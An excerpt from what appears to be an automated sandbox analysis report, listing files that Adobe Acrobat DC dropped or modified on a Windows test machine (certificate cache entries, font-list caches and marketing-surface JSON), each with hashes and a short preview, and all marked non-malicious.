File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.720981797380058
Encrypted:	false
SSDEEP:	3:kkFklz18PtfllXlE/HT8k+svNNX8RolJuRdxLlGB9lQRYwpDdt:kK1eT88VNMa8RdWBwRd
MD5:	2CAA8DFF4C0E1AA7C1C4C99C79DBD518
SHA1:	85348BA9D13AE0ADE2817338C17E38582B7C125F
SHA-256:	7DD1A2138C2118E82D5B787FDB4D66BD0D384B5E59179D79D7A82BD0469DD9A9
SHA-512:	AD70589F834BC486AA9266F19CC8CEBF5800354040268307FBD7CFD80DE5DC90A257317B8BCAD285366FEF779A5C11FE1FE4B511F12C712389D7AA55242DAAB0
Malicious:	false
Preview:	p...... .........P98.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.233096791118922
Encrypted:	false
SSDEEP:	6:kKjDL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:XiDImsLNkPlE99SNxAhUe/3
MD5:	1FBDD9C1B003CD8EC5EB30459EB24332
SHA1:	56A057FBB509EE88195B58710E3151A0425C38ED
SHA-256:	EB55CBA25019868C5D5C1F08A3E8483CE130AEBD8029430AEAB6A51B5388C0AE
SHA-512:	DB5269ED46C4098C2364143925B4114AAA01400FB0CACB705A0A44C8446339AB37A44E56B5F2F31A5B5C345D8539701CCF8DBB5B1E11E74A783D1126B053A9F8
Malicious:	false
Preview:	p...... ........b^yJ.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.652

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.652

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.384142963170063
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNFd1hwQdhlzFkF0Y0oAvJM3g98kUwPeUkwRe9:YvXKXNnXHZMGMbLUkee9
MD5:	DC8E77F3CBF68CCEE034B901230F1ABC
SHA1:	9264CC2BBD6963791FCBA604C4E91B89D1A2E944
SHA-256:	EE8C6D64D69165527E1001054D94F187928C4C6984847DCB3A9B391790D855BE
SHA-512:	7283DE58FC18CE533FA2F0AC12EB4E4974811789E72DCBCA8A683279BF0A8095128E28352530F5C934A04B4AD74146BA5FEC70700D94C4588B93BEF4F92A1A72
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"954b849c-b3bc-4d13-8e18-42635d8074a6","sophiaUUID":"0515ACAE-DCC7-4733-8101-9751FF724CB9"},"encodingScheme":true,"expirationDTS":1736703524379,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.326594707658496
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNFd1hwQdhlzFkF0Y0oAvJfBoTfXpnrPeUkwRe9:YvXKXNnXHZMGWTfXcUkee9
MD5:	1380544E054237ACC8F0E7B3612B5D3B
SHA1:	401D5516A25B1C0C46CB4F7B579CE37A91190A80
SHA-256:	02D1904B53364A019D0946C4D864FB6086C002F364C2E5848E85EB3EE59B32BD
SHA-512:	3A071310431762DC209C1729B9A825379D1574EFB4F9B0CEC00D8AE5CEEACA87FB74EBFA6AA620B92FF1BDF39CD7565E86BA263FB01F86D9BFA4AC4576685F73
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"954b849c-b3bc-4d13-8e18-42635d8074a6","sophiaUUID":"0515ACAE-DCC7-4733-8101-9751FF724CB9"},"encodingScheme":true,"expirationDTS":1736703524379,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.304854203016304
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNFd1hwQdhlzFkF0Y0oAvJfBD2G6UpnrPeUkwRe9:YvXKXNnXHZMGR22cUkee9
MD5:	C39EBB130C4047FD73527A8133508812
SHA1:	B3898A9893D1F5FCAB08AF518565B48FA06E1B96
SHA-256:	292C3676F3909C1BB534B9FBA0AA361B032342BFBB0A59749A632A5F5D880D04
SHA-512:	BF663582ADB5FECE100025903A35862D3CC10CBDAF17755FCD75343A6EB055054378EFC38E50D96E75484F5B429E619A2781DB1CA18A177DC958D3631C5CED79
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"954b849c-b3bc-4d13-8e18-42635d8074a6","sophiaUUID":"0515ACAE-DCC7-4733-8101-9751FF724CB9"},"encodingScheme":true,"expirationDTS":1736703524379,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.365011854447661
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNFd1hwQdhlzFkF0Y0oAvJfPmwrPeUkwRe9:YvXKXNnXHZMGH56Ukee9
MD5:	D72A72018A49E11DC612E270CFB02EC7
SHA1:	BE86CD5F624916170F96C5D11955EBD09AF2430B
SHA-256:	5DDE7B4CA49BDA268226085F96F7F17231E62FBA3FAB4EF5768042205D148153
SHA-512:	01EB318243055BDEB1D2F26393FE29BA3317BAE802AA9281ED2F74FC31E8B61CC0E82DA24C23C8C23C970213CDF43096E2ED4178BB25FA386904FA3FEAC0078D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"954b849c-b3bc-4d13-8e18-42635d8074a6","sophiaUUID":"0515ACAE-DCC7-4733-8101-9751FF724CB9"},"encodingScheme":true,"expirationDTS":1736703524379,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.691270163069709
Encrypted:	false
SSDEEP:	24:Yv6XNnXHZppLgE9cQx8LennAvzBvkn0RCmK8czOCCS4a:YvmXZphgy6SAFv5Ah8cv/T
MD5:	644746D8D8ED3D7D4D44198E44C0F906
SHA1:	96C161A3D1A4E492A393C293334CDB909AB210BB
SHA-256:	D0058F052DD0E595D87FBAFF0BA05B6D6E73BADFD9E7EDB3CC70CB5A2441F671
SHA-512:	FE34F2E0B970A76C231C278087104728D60366BC160CA299DBC755F5270723D75D08E07B26EAC16912A99791F4DA39749A07650B8DF502EF5FC217F33B6370A8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"954b849c-b3bc-4d13-8e18-42635d8074a6","sophiaUUID":"0515ACAE-DCC7-4733-8101-9751FF724CB9"},"encodingScheme":true,"expirationDTS":1736703524379,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.316857913912455
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNFd1hwQdhlzFkF0Y0oAvJf8dPeUkwRe9:YvXKXNnXHZMGU8Ukee9
MD5:	F2FF44761D366F44084715DADBB04A01
SHA1:	56DA6B4E859F65DAC9176553E578BE399FAB25BF
SHA-256:	EE0E6131E49AE0121CE88498021E880EB746CCC57AA0F4BEBA54BDFB550D19F5
SHA-512:	85D59D01A21EBA9A322D947A52ED37EF3A18837EE4DB2D9DB40C83DAB8BA424842ED51BEB7F15D696F5E362F4D7CA8FC8C1E4F4E85E090067F9630D573A4B304
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"954b849c-b3bc-4d13-8e18-42635d8074a6","sophiaUUID":"0515ACAE-DCC7-4733-8101-9751FF724CB9"},"encodingScheme":true,"expirationDTS":1736703524379,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.315054686426832
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNFd1hwQdhlzFkF0Y0oAvJfQ1rPeUkwRe9:YvXKXNnXHZMGY16Ukee9
MD5:	8E62EEB3838927CC98BEE3CC96E27A4C
SHA1:	63B8CF867AC77775DFC0EC11964BBECD8DD19AA8
SHA-256:	7AE06A60B66DCB6B4BDEB59BEC05208069E168B4DFB0B49A8E947BFCF332BB78
SHA-512:	A94686EFFA47D2C14211E8F5B8B27982BC6DEA9752C394025F0E25E0213A28D3001914500B41FB7C5A8EA39B97FA53462D0A1AE5DBE0AED8CF0D1AA2B22FA312
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"954b849c-b3bc-4d13-8e18-42635d8074a6","sophiaUUID":"0515ACAE-DCC7-4733-8101-9751FF724CB9"},"encodingScheme":true,"expirationDTS":1736703524379,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3287730654514
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNFd1hwQdhlzFkF0Y0oAvJfFldPeUkwRe9:YvXKXNnXHZMGz8Ukee9
MD5:	C8C6F9339F700A6863D54AFF59A6D8FC
SHA1:	9A73C0D57AFF123565602D5770097972FB06F2C4
SHA-256:	D184DD697ECA625BC0C7501BB8026D02611BEF1909B404430D9606CD5D1360C6
SHA-512:	80ECB858F8D5C2E4A9038EDD154B17376B7939623C093F72CD91166498F2F7869376192CC7B2B0086F7632A280B587F65D9A230B76079CC5A3850C4054C9F1DB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"954b849c-b3bc-4d13-8e18-42635d8074a6","sophiaUUID":"0515ACAE-DCC7-4733-8101-9751FF724CB9"},"encodingScheme":true,"expirationDTS":1736703524379,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.342609867132419
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNFd1hwQdhlzFkF0Y0oAvJfzdPeUkwRe9:YvXKXNnXHZMGb8Ukee9
MD5:	6A4C9CAEFBF47474AFA5834A8BA6CBC6
SHA1:	4227D151EE73BBB63AD0EC7E4EA66C75C84B6511
SHA-256:	4C3722FD382A74741AEAFD444E9C039AC9230045EB982DC659690E62A6331669
SHA-512:	870AA74BB03E81217F4CEC0E1FF0A244122A9960489AAC94DC400F7E7377A70F4547D189894B1BF31D9415113259965BEF895F1E4E448988CE8768D6FBD9A327
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"954b849c-b3bc-4d13-8e18-42635d8074a6","sophiaUUID":"0515ACAE-DCC7-4733-8101-9751FF724CB9"},"encodingScheme":true,"expirationDTS":1736703524379,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.323442412860546
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNFd1hwQdhlzFkF0Y0oAvJfYdPeUkwRe9:YvXKXNnXHZMGg8Ukee9
MD5:	53FE3F1234AAE9AB01DF41594B01EA93
SHA1:	9820B6997A5ED59EC40C87B07751A35DDBC03801
SHA-256:	CE52CAE1855BAD6FDF2D0C9F1AB6E1AF2DD59EA9A8E5AF2B18359DD543D9185F
SHA-512:	C71F1F432AF7BB22A2632DA66B2C1C09B91E4EEC69A478B0CD6A922EBB4A60C3A7C3BD41C40CA3FCF45A4EA2782B8BCAEF29C0C12979B32E4F22089EEA2E8624
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"954b849c-b3bc-4d13-8e18-42635d8074a6","sophiaUUID":"0515ACAE-DCC7-4733-8101-9751FF724CB9"},"encodingScheme":true,"expirationDTS":1736703524379,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.309905504219697
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNFd1hwQdhlzFkF0Y0oAvJf+dPeUkwRe9:YvXKXNnXHZMG28Ukee9
MD5:	1AA1FF56BD92D1D66DBEC281C73308B4
SHA1:	035062539FAD36A0BEDD19C8B63C25190EBE1035
SHA-256:	1562AF39B786709D80FAA7A1A1D33147A6F8366801DCE84D8D839F47587D9B4D
SHA-512:	EA7269590F77FCEBFE37502A3522672CF5CABE81361D7CA235C32754A36CB27D0BF9FE4F8DE67727EEC1E9C45F20BE0447891EC5162B9F9D34D0CAFA14B74658
Malicious:	false
